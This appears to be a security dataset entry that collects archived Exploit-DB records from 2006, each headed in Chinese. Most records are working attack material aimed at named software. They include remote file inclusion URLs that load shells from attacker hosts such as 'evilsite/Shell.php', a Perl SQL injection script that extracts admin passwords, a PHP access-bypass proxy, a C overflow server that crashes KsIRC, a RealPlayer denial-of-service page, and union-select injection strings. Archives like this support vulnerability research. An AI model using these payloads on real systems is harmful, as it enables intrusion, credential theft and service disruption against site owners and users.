QLWD/code_shield huggingface dataset:
标题: Microsoft Windows - ASN.1 Remote (MS04-007) EDB-ID: 3022 CVE: 2003-0818 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-26 漏洞利用脚本: # Microsoft ASN.1 remote exploit for CVE-2005-1935 // MS04-007
# Solar Eclipse
# solareclipse at phreedom dot org

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3022.tar.gz (12262006-killbill.tar.gz)

# milw0rm.com [2004-03-26] URL: https://www.exploit-db.com/exploits/3022
标题: myPHPCalendar 10192000b - 'cal_dir' Remote File Inclusion EDB-ID: 3019 CVE: 2006-6812 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: # script name : myPHPCalendar

# Script Downloads : http://freshmeat.net/projects/myphpcalendar/

# Web Site : http://myphpcalendar.sourceforge.net/

# Version : 10.1

# Risk : High

# Found By : Cr@zy_King

# Thanks : | eTNR | ApAci | Eno7 | TheHacker | Kormali46 | The_Bekir |
Metallicali | Liz0zim | ERNE | Swat_Hack | Commander | Soceita

# Code :
include($cal_dir."vars.inc");
include($cal_dir."prefs.inc");


#Vuln : http://[target]/admin.php?cal_dir=http://[attacker]/
http://[target]/contacts.php?cal_dir=http://[attacker]/
http://[target]/convert-date.php?cal_dir=http://[attacker]/


#Contact: crazy_king[at]turkusev[dot]com

# ---------------------------Satbirlikleri.Org&SiberAktif.Net-----------------------------

# milw0rm.com [2006-12-26] URL: https://www.exploit-db.com/exploits/3019
标题: Fantastic News 2.1.4 - Multiple Remote File Inclusions EDB-ID: 3027 CVE: 2006-4671 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ Fantastic News <== 2.1.4 (CONFIG[script_path]) Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............:  http://fscripts.com
+ Affected Software .: Fantastic News <== 2.1.4
+ Download ..........: http://fscripts.com/download.php?file=1
+ Dork ..............: Powered by Fantastic News v2.1.4
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: Mr-m07 <xp10[at]hotmail.com> Yee7 Team >- WwW.Yee7.com -<
+-------------------------------------------------------------------------------------------
+ Vulnerable Code:
+ =>>archive.php
+
+ on line('s)  16,17,18,19
+  =>>          require_once($CONFIG['script_path']."config.php");
+  =>>          require_once($CONFIG['script_path']."functions/functions.php");
+  =>>          require_once($CONFIG['script_path']."functions/mysql.php");
+  =>>          require_once($CONFIG['script_path']."functions/template.php");
+
+
+ =>>headlines.php
+ on line('s)  16,17,18,19
+  =>>          require_once($CONFIG['script_path']."config.php");
+  =>>          require_once($CONFIG['script_path']."functions/functions.php");
+  =>>          require_once($CONFIG['script_path']."functions/mysql.php");
+  =>>          require_once($CONFIG['script_path']."functions/template.php");
+
+
+ Proof Of Concept:
+ http://[target]/[path]/archive.php?CONFIG[script_path]=http://localhost/a.txt?
+ http://[target]/[path]/headlines.php?CONFIG[script_path]=http://localhost/a.txt?
+
+
+
+
+-------------------------------------------------------------------------------------------
+Thanx To:
+ Yee7 Team http://www.yee7.com
+ Alshikh
+ ShockShadow
+ Mr.HaCkEr
+ StarseviL
+ AssassiN
+ Star Reach
+
+
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-27] URL: https://www.exploit-db.com/exploits/3027
标题: Limbo CMS Module event 1.0 - Remote File Inclusion EDB-ID: 3028 CVE: 2006-6800 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: -----------------------------------------------

Limbo CMS event module (lm_absolute_path) Remote File Include Vulnerabilities

-----------------------------------------------


Author: xoron

-----------------------------------------------
 
Vuln Code:

include_once($lm_absolute_path."components/com_event/lang/event.".$lm_language.".php");

-----------------------------------------------

3xplo!t:

http://www.[target].com/[script_path]/eventcal/mod_eventcal.php?lm_absolute_path=http://evil_scripts?


-----------------------------------------------

download:  http://www.limbo-tr.com/images/downloads/event.zip

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlarin kurban bayrami simdiden mubarek olsun -
-                                                         -
-              Greetz: str0ke, Kacper                     -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-27] URL: https://www.exploit-db.com/exploits/3028
标题: Bubla 1.0.0rc2 - '/bu/process.php' Remote File Inclusion EDB-ID: 3026 CVE: 2006-6809 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: **********************************************************************************************************
                                              DeltasecurityTEAM
                                              WwW.Deltasecurity.iR
**********************************************************************************************************

* Portal Name = Bubla <= 1.0.0rc2

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://download.sourceforge.net/pub/sourceforge/b/bu/bubla/bubla-1.0.0rc1.tar.gz

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Davood_Cracker

* Conatact = Davood_cracker@yahoo.com

* 128 Bit Security Server= www.takserver.ir

* Just Delta Hacking Security TEAM *
--------------------------------------------------------------------------------------------
Vulnerable code in process.php

require_once($bu_dir."/bu_l2.php");

--------------------------------------------------------------------------------------------

- Exploit:

1.0.0 RC1 http://localhost/[PATH]/bu/process.php?bu_dir=http://evilsite/Shell.php?
1.0.0 RC2 http://localhost/[PATH]/bu/process.php?bu_config[dir]=http://evilsite/Shell.php?

--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , Vpc

SP TNX : Dr.Pantagon

**********************************************************************************************************

# milw0rm.com [2006-12-27] URL: https://www.exploit-db.com/exploits/3026
标题: RealPlayer 10.5 'ierpplug.dll' Internet Explorer 7 - Denial of Service EDB-ID: 3030 CVE: 2006-6847 类型: DOS 平台: WINDOWS 发布日期: 2006-12-28 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 RealPlayer 10.5 ierpplug.dll multiple methods Denial of Service
 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------


<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='RealPlayer'></object>
<select style="width: 404px" name="Pucca">
  <option value = "GetComponentVersion">GetComponentVersion</option>
  <option value = "HandleAction">HandleAction</option>
  <option value = "DoAutoUpdateRequest">DoAutoUpdateRequest</option>
  <option value = "Quoting">Quoting...</option>
</select>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   if Pucca.value="GetComponentVersion" then
     argCount   = 1
     arg1=String(1000000, "A")
     RealPlayer.GetComponentVersion arg1
   elseif Pucca.value="HandleAction" then
     argCount   = 1
     arg1=String(1000000, "A")
     RealPlayer.HandleAction arg1
   elseif Pucca.value = "DoAutoUpdateRequest" then
     argCount = 3
     arg1=1
     arg2=String(1000000, "A")
     arg3=1
     RealPlayer.DoAutoUpdateRequest arg1 ,arg2 ,arg3
   else
     MsgBox "And the beast shall come forth surrounded by a roiling cloud of vengeance." & vbCrLf & _
     "The house of the unbelievers shall be razed and they shall be scorched to the earth." & vbCrLf &_
     "Their tags shall blink until the end of days."
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2006-12-28] URL: https://www.exploit-db.com/exploits/3030
标题: KsIRC 1.3.12 - 'PRIVMSG' Remote Buffer Overflow (PoC) EDB-ID: 3023 CVE: 2006-6811 类型: DOS 平台: LINUX 发布日期: 2006-12-26 漏洞利用脚本: // KSirc 1.3.12 - PRIVMSG remote Buffer Overflow // PoC
//
// Federico L. Bossi Bonin 
// fbossi@globalst.com.ar
// www.GlobalST.com.ar


// #0  0xb7ea8792 in KSircIOController::stdout_read () from /usr/kde/3.5/lib/libkdeinit_ksirc.so
// #1  0xb7ea78c8 in KSircIOController::qt_invoke () from /usr/kde/3.5/lib/libkdeinit_ksirc.so
// #2  0xb6fedba4 in QObject::activate_signal () from /usr/qt/3/lib/libqt-mt.so.3
// #3  0xb765410b in KProcess::receivedStdout () from /usr/kde/3.5/lib/libkdecore.so.4
// #4  0x081a6e60 in ?? ()
// #5  0x081a7238 in ?? ()
// #6  0xbfcb0170 in ?? ()
// #7  0x00000000 in ?? ()

#include <stdio.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 6667
#define LEN 2500

char buffer[LEN*2];
void sendbuff(int sock) {
char ptr[LEN*2];
memset(buffer,0x0,sizeof(buffer));
memset(ptr,0x0,sizeof(ptr));
memset(ptr,0x41,LEN);
sprintf(buffer,"PRIVMSG  USER:%s\n\r",ptr);
read(sock,ptr,sizeof(ptr));
write(sock,buffer,sizeof(buffer));
}

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) { 
perror("error socket()"); 
exit(1);
}
     
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0)  {
perror("error bind()");
exit(1);
}


printf("KSirc 1.3.12 - PRIVMSG remote PoC\n");
printf("====================================\n");
printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0)  {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0)  {
perror("fork()");
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
} 
return 0;
}

// milw0rm.com [2006-12-26] URL: https://www.exploit-db.com/exploits/3023
标题: Cahier de texte 2.2 - Bypass General Access Protection EDB-ID: 3016 CVE: 2006-6849 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: <?
/*

  Informations
  ============
  Affected.scr..: Cahier de texte V2.2 (last version)
  Poc.ID........: 17061224
  Type..........: Bypass general access restriction
  Risk.level....: High
  Conditions....: None
  Src.download..: www.etab.ac-caen.fr/bsauveur/cahier_de_texte/
  Poc.link......: acid-root.new.fr/poc/17061224.txt
  Credits.......: DarkFig

  Vulnerable code
  ===============
  <?php session_start();
  if (isset($_SESSION['nom_prof'])) { 
  if ($_SESSION['nom_prof']<>'Administrateur') { header("Location: ../index.php");}
  ;} else { header("Location: ../index.php");}?>
  ...

*/

if(!isset($_GET['host']) || empty($_GET['host'])) headers();
if(!isset($_GET['wanted'])) $wanted = 'index.php';

$host = $_GET['host'];
$prox = $_GET['prox'];
$path = $_GET['path'];
echo sockxp($host,$path,$prox,"administration/".$wanted);
exit(0);

function headers()
{
 print("<html>
<head>
 <title>Cahier de texte V2.2 Exploit</title>
</head>
<body>
 <form method='get' action='".$_SERVER['PHP_SELF']."'>
  <input type='text' name='host' value='host'>
  <input type='text' name='path' value='path'>
  <input type='text' name='prox' value='proxyhost:proxyport'>
  <input type='submit' value='Exploit'>
 </form>
</body>
</html>");
 exit(0);
}

function sockxp($host,$path,$prox,$wanted)
{
 $hope = !empty($prox) ? $prox : $host.':80';
 preg_match("/^(\S*):([0-9]+){1,5}/",$hope,$hosta);
 $hosh = $hosta[1];
 $hosp = $hosta[2];
 
 $recv = '';
 $meth = $_SERVER['REQUEST_METHOD'];
 if(empty($hosh) || empty($hosp)) exit(1);

 if(!$sock = fsockopen($hosh,$hosp)) exit(1);
 $dat  = $meth." http://".$host;
 
 if($meth === "POST") $dat .= "/".str_replace("administration//","",$wanted);
 else $dat .= $path.$wanted;
 
 $dat .= " HTTP/1.1\r\n";
 $dat .= "Host: $host\r\n";
 $dat .= "Connection: Close\r\n";
 
 if($meth === "POST") {
  $postdata = get_postdata();
  $dat .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $dat .= "Content-Length: ".strlen($postdata)."\r\n\r\n";
  $dat .= $postdata."\r\n\r\n";
 } else {
  $dat .= "\r\n";
 }

 fputs($sock,$dat);
 while(!feof($sock)) $recv .= fgets($sock);
 fclose($sock);

 return html_replace($recv);
}

function html_replace($htmlc)
{
 global $host,$path,$prox;
 $iniv = $_SERVER['PHP_SELF']."?host=$host&path=$path&prox=$prox&wanted=";
 $newc = str_replace("action=\"","action=\"$iniv",$htmlc);
 $newc = str_replace("=\"..","=\"http://${host}${path}administration/..",$newc);
 $newc = str_replace("a href=\"","a href=\"$iniv",$newc);
 $newc = str_replace("MM_goToURL('parent','","MM_goToURL('parent','$iniv",$newc);
 $newc = explode("\n",$newc);
 for($i=1;$i<count($newc);$i++) {
  if(!preg_match("/(\S*):/",$newc[$i])) $v=1;
  if($v) $nnewc .= $newc[$i]."\n";
 }
 return $nnewc;
}

function get_postdata()
{
 $postdata = '';
 foreach($_POST as $key => $value) {
  $postdata .= $key."=".$value."&";
 }
 return $postdata;
}
?>

# milw0rm.com [2006-12-26] URL: https://www.exploit-db.com/exploits/3016
标题: logahead UNU edition 1.0 - Arbitrary File Upload / Code Execution EDB-ID: 3014 CVE: 2006-6887 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: -=[--------------------ADVISORY-------------------]=-
                                             
              logahead UNU edition 1.0    
                                              
  Author: CorryL    [corryl80@gmail.com]  
-=[-----------------------------------------------]=-


-=[+] Application:    logahead UNU edition
-=[+] Version:        1.0
-=[+] Vendor's URL:   http://typo.i24.cc/logahead/
-=[+] Platform:       Windows\Linux\Unix
-=[+] Bug type:       Remote Upload file & Code execution
-=[+] Exploitation:   Remote
-=[-]
-=[+] Author:          CorryL  ~ corryl80[at]gmail[dot]com ~
-=[+] Reference:       www.x0n3-h4ck.org
-=[+] Virtual Office:  http://www.kasamba.com/CorryL
-=[+] Irc Chan:        irc.darksin.net #x0n3-h4ck       
-=[+] Special Thanks: Merry Christmas for All, Thanks for all  #x0n3-h4ck member,
                                  un saluto a tutti gli avolesi nel mondo.

..::[ Descriprion ]::..

You might already have heard of logahead - the ajaxified blogging engine using PHP4 and mySQL database by James from the UK.
The UNU edition is based on the logahead beta 1.0 code published under GNU/GPL license. While the original version sticks to 
the basic functions of a blog (mainly publishing posts and receiving comments), the UNU edition is more enchanted and offers 
a number of additional features.


..::[ Bug ]::..

My give searches the form Widgets of this blog is results vulnerability, in fact
a remote attaker is able to upload also a file php, and to perform arbitrary commands
inside the server victim.

..::[ Proof Of Concept ]::..

http://www.server-victim/extras/plugins/widged/_widged.php?A=U&D=


..::[ Disclousure Timeline ]::..

 [25/12/2006] - Public disclousure

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3014
标题: myPHPNuke Module My_eGallery 2.5.6 - 'basepath' Remote File Inclusion EDB-ID: 3010 CVE: 2006-6795 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

myPHPNuke Gallery Module (basepath) Remote File Include

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: Cyber-Security.Org

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
c0DE:

include ("$basepath/imageFunctions.php");

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

3xplo!t:

/gallery/displayCategory.php?basepath=http://evil_scripts?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Reference: http://cyber-security.org/DataDetayAll.asp?Data_id=586

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

script download:

http://myphpnuke.com/download.php?op=getit&lid=28

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3010
标题: The Classified Ad System 1.0 - 'main' SQL Injection EDB-ID: 3015 CVE: 2006-6349 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-26 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: The Classified Ad System  1.0 (main) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.mxmania.net
#[$$         : 29.99 .
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  The Classified Ad System  1.0 (main) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/default.asp?action=view&full=NO&main=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,username,0,0%20from%20admin%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /main category of <b>(.*?)<\/b>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: admin\n";
}

if ($answer =~ /main category of <b>(.*?)<\/b>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-26] URL: https://www.exploit-db.com/exploits/3015
标题: Shadowed Portal Module Character Roster - 'mod_root' Remote File Inclusion EDB-ID: 3009 CVE: 2006-6850 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Shadowed Portal 5.7. Roster Module (mod_root) Remote File Include

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: Cyber-Security.Org

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Version: 5.7

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
c0DE:

in include.php , line 2.

require($mod_root."/latest_member.php");

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

F!X:

-open include.php

-write this code before wrong code (line 2.)

require("code.php");
if($code != $xcode) {
exit;
}

-save and exit.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

3xplo!t:

/modules/character_roster/include.php?mod_root=http://evil_scripts?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Reference: http://cyber-security.org/DataDetayAll.asp?Data_id=587

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

script download:

http://www.shad0wed.com/view/load/mod:fs/do:dl/id:7059wc8637mzd9966hnb3dgl415413d7541q4032zp43943532ija77112342xd4961670729851147

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3009
标题: PhpbbXtra 2.0 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3006 CVE: 2006-6789 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-25 漏洞利用脚本: -----------------------------------------------

PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability

-----------------------------------------------

Author: xoron

-----------------------------------------------
 
Vuln Code: include($phpbb_root_path . 'includes/bbcode.'.$phpEx);

-----------------------------------------------

F!X:

-open /includes/archive/archive_topic.php this file

-write this code before vuln. code


if ( !defined('IN_PHPBB') )
{
    die('Hacking attempt');
}


- save and exit

-----------------------------------------------

exploit:

http://www.[target].com/[script_path]/includes/archive/archive_topic.php?phpbb_root_path=http://evil_scripts ?

-----------------------------------------------

download:http://sourceforge.net/project/showfiles.php?group_id=152219

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlar.n kurban bayram. simdiden mubarek olsun -
-                                                         -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-25] URL: https://www.exploit-db.com/exploits/3006
标题: Ananda Real Estate 3.4 - 'agent' SQL Injection EDB-ID: 3001 CVE: 2010-4782 2006-6807 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-24 漏洞利用脚本: *******************************************************************************
# Title   :  Ananda Real Estate <= 3.4 (agent) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//list.asp?agent=[SQL]

Example:

//list.asp?agent=-1%20union%20select%20username,0,0,0,0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20user%20where%20id%20like%201

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-24] URL: https://www.exploit-db.com/exploits/3001